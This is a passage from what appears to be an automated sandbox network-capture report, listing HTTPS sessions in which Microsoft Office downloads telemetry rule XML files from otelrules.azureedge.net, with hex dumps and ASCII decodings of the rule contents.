N="Purged_Count"> <S T="5" F="Count" />
2024-11-01 02:45:56 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-11-01 02:45:57 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-11-01 02:45:57 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-11-01 02:45:57 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
2024-11-01 02:45:57 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
2024-11-01 02:45:57 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:58 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:45:58 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:58 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 11ae3112-301e-005d-596b-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024558Z-16849878b78nzcqcd7bed2fb6n00000002w0000000009qa2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:45:58 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:58 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:45:58 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:58 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024558Z-16849878b78zqkvcwgr6h55x9n00000009w000000000b908 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:45:58 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:58 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:45:58 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:58 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f312709b-601e-0001-377c-2afaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024558Z-17c5cb586f6jwd8h9y40tqxu5w00000001f000000000cgyr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:45:58 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:58 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:45:58 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:58 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: fc6998d3-101e-008d-52ad-2692e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024558Z-16849878b787bfsh7zgp804my4000000097000000000as23 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:45:58 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:58 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:45:58 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:58 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 8f1f3dd8-601e-0097-4789-28f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024558Z-15b8d89586flspj6y6m5fk442w0000000gag00000000bzfv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:45:58 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:59 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:45:59 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:59 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7b93b929-d01e-0082-6676-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024559Z-16849878b78smng4k6nq15r6s40000000btg00000000udat x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:45:59 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:59 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:45:59 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:59 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e84b733d-701e-005c-1bb8-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024559Z-16849878b78q9m8bqvwuva4svc00000008xg00000000e7b5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 02:45:59 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:59 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:45:59 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:59 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 633f9008-101e-00a2-3e9b-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024559Z-16849878b78j7llf5vkyvvcehs0000000bmg000000000euv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:45:59 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:59 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
